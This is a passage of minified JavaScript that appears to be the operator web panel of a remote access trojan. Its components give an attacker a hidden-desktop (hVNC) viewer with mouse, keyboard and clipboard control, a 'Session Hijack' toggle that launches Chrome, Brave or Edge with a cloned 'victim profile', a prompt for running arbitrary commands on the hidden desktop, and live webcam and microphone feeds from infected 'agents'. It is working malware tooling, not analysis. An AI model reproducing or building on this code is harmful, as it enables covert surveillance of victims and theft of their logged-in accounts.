2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function FU(){const{id:e}=Lo(),[t]=rx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,O]=p.useState({w:0,h:0}),[,E]=p.useState(""),[T,P]=p.useState(null),[U,K]=p.useState(!1),[$,L]=p.useState(!1),F=p.useRef(!1),[W,H]=p.useState({w:0,h:0});p.useEffect(()=>{const I=l.current;if(!I)return;const G=new ResizeObserver(ie=>{const ne=ie[0];ne&&H({w:ne.contentRect.width,h:ne.contentRect.height})});return G.observe(I),()=>G.disconnect()},[]);const B=p.useMemo(()=>{if(z.w<=0||z.h<=0||W.w<=0||W.h<=0)return null;const I=Math.min(W.w/z.w,W.h/z.h);return{width:Math.floor(z.w*I),height:Math.floor(z.h*I)}},[z,W]),q=p.useRef({x:0,y:0,w:0,h:0}),X=p.useRef(null),se=p.useCallback((I,G)=>{const ie=a.current;if(!ie)return;X.current||(X.current=ie.getContext("2d"));const ne=X.current;if(!ne)return;const ve=q.current;if(ve.w>0&&ne.clearRect(ve.x,ve.y,ve.w,ve.h),I<0||G<0){q.current={x:0,y:0,w:0,h:0};return}q.current={x:I-1,y:G-1,w:16,h:24},ne.save(),ne.beginPath(),ne.moveTo(I,G),ne.lineTo(I,G+18),ne.lineTo(I+5,G+14),ne.lineTo(I+9,G+21),ne.lineTo(I+12,G+20),ne.lineTo(I+8,G+13),ne.lineTo(I+13,G+12),ne.closePath(),ne.fillStyle="white",ne.fill(),ne.strokeStyle="black",ne.lineWidth=1,ne.stroke(),ne.restore()},[]),ue=p.useCallback((I,G)=>{const ie=a.current;if(!ie)return;const ne=ie.getContext("2d");ne&&(ne.save(),ne.beginPath(),ne.arc(I,G,12,0,Math.PI*2),ne.strokeStyle="rgba(6, 182, 212, 0.7)",ne.lineWidth=2,ne.stroke(),ne.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{se(u.current.x,u.current.y)},150))},[se]),fe=p.useCallback((I,G,ie,ne,ve)=>{F.current||(F.current=!0,L(!0)),O({w:G,h:ie});const ge=i.current;if(!ge)return;const Ne=ge.getContext("2d");if(!Ne)return;(ge.width!==G||ge.height!==ie)&&(ge.width=G,ge.height=ie);const ht=a.current;if(ht&&(ht.width!==G||ht.height!==ie)&&(ht.width=G,ht.height=ie,X.current=null),typeof I=="string"){const ye=c.current||new Image;c.current=ye,ye.onload=()=>{Ne.drawImage(ye,0,0)},ye.src=I}else I instanceof ImageBitmap?(Ne.drawImage(I,0,0),I.close()):Ne.drawImage(I,0,0)},[r]),me=p.useCallback(()=>{},[]),{isConnected:Y,stats:te,controls:C,connect:A,disconnect:Z}=ev({agentId:e||"",mode:n,onFrame:fe,onDisconnect:me});p.useEffect(()=>{e&&A()},[e,A]);const R=p.useCallback(I=>{const G=a.current,ie=i.current;if(!G||!ie||z.w===0)return{x:0,y:0};const ne=G.getBoundingClientRect(),ve=ie.width/ne.width,ge=ie.height/ne.height;return{x:Math.min(Math.max(Math.round((I.clientX-ne.left)*ve),0),ie.width-1),y:Math.min(Math.max(Math.round((I.clientY-ne.top)*ge),0),ie.height-1)}},[z]),ae=p.useCallback(I=>{if(!m||y)return;const{x:G,y:ie}=R(I);u.current={x:G,y:ie};const ne=performance.now();ne-f.current>=33&&(f.current=ne,C.sendMouseMove(G,ie)),se(G,ie)},[m,y,R,C,se]),pe=p.useCallback(I=>{if(!m||y)return;const{x:G,y:ie}=R(I);C.sendMouseButton(I.button,1,G,ie),ue(G,ie)},[m,y,R,C,ue]),D=p.useCallback(I=>{if(!m||y)return;const{x:G,y:ie}=R(I);C.sendMouseButton(I.button,0,G,ie)},[m,y,R,C]),re=p.useCallback(I=>{if(!m||y)return;const{x:G,y:ie}=R(I),ne=I.deltaY>0?-120:120;C.sendMouseScroll(ne,G,ie)},[m,y,R,C]);p.useEffect(()=>{if(!x||y)return;const I=(ne,ve)=>{ne.preventDefault(),ne.stopPropagation();const ge=ne.keyCode||0;C.sendKey(ve,ge,0)},G=ne=>I(ne,1),ie=ne=>I(ne,0);return window.addEventListener("keydown",G,!0),window.addEventListener("keyup",ie,!0),()=>{window.removeEventListener("keydown",G,!0),window.removeEventListener("keyup",ie,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const _=p.useCallback(I=>{w(I),C.setQuality(I)},[C]),ee=p.useCallback(async()=>{try{const I=await navigator.clipboard.readText();I&&C.sendClipboard(I)}catch{}},[C]),V=p.useCallback(()=>{var I,G;(G=(I=o.current)==null?void 0:I.requestFullscreen)==null||G.call(I)},[]),J=p.useCallback(async()=>{if(Z(),e)try{r?await CE(e):await zE(e)}catch{}window.close()},[e,Z,r]),oe=p.useCallback(async I=>{if(!(!e||!I.trim())){P(null);try{await PE(e,I.trim(),U),P(`Launched ${I.trim()}${U?" (hijack)":""}`),E(""),setTimeout(()=>P(null),3e3)}catch(G){P(`Failed: ${G instanceof Error?G.message:"unknown"}`)}}},[e,U]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:B?B.width:void 0,height:B?B.height:void 0,display:$?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ae,onMouseDown:pe,onMouseUp:D,onWheel:re,onContextMenu:I=>I.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!$)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(I=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${I*.3}s`}},I))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Ps,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),s.jsx(Ps,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:I=>_(Number(I.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:I=>{const G=Number(I.target.value);k(G),C.sendControl(2,G)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:I=>{const G=Number(I.target.value);N(G),C.sendControl(3,G)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Ps,{}),s.jsx(cp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(WU,{})}),s.jsx(cp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(UU,{})}),s.jsx(cp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(VU,{})}),s.jsx(Ps,{}),s.jsx(x2,{onClick:ee,title:"Sync clipboard",children:s.jsx(HU,{})}),s.jsx(x2,{onClick:V,title:"Fullscreen",children:s.jsx(KU,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Ps,{}),s.jsxs("button",{onClick:()=>K(I=>!I),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:U?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:U?"#22D3EE":"#52525B",background:U?"rgba(6, 182, 212, 0.12)":"transparent",border:U?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),BU.map(I=>s.jsxs("button",{onClick:()=>oe(I.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${I.label}`,onMouseEnter:G=>{G.currentTarget.style.color="#06B6D4",G.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:G=>{G.currentTarget.style.color="#A1A1AA",G.currentTarget.style.background="transparent"},children:[I.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:I.label})]},I.cmd)),s.jsxs("button",{onClick:()=>{const I=prompt("Command to launch on hidden desktop:");I&&oe(I)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:I=>{I.currentTarget.style.color="#A1A1AA",I.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:I=>{I.currentTarget.style.color="#52525B",I.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:J,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:I=>{I.currentTarget.style.background="rgba(239, 68, 68, 0.12)",I.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:I=>{I.currentTarget.style.background="rgba(239, 68, 68, 0.06)",I.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Ps(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function cp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function x2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function WU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function UU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function VU(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function HU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function KU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function qU(){const{id:e}=Lo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=ev({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await EE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function YU({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=Ze();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,O=w.data.byteLength-z;if(f(L=>({chunkCount:L.chunkCount+1,sampleRate:k})),u.current)return;const E=r.current;if(!E||E.state==="closed")return;E.state==="suspended"&&E.resume();const T=O/(S/8)/N,P=E.createBuffer(N,T,k),U=new DataView(w.data,z);for(let L=0;L{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function GU(){const{id:e}=Lo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=YU({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await AE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 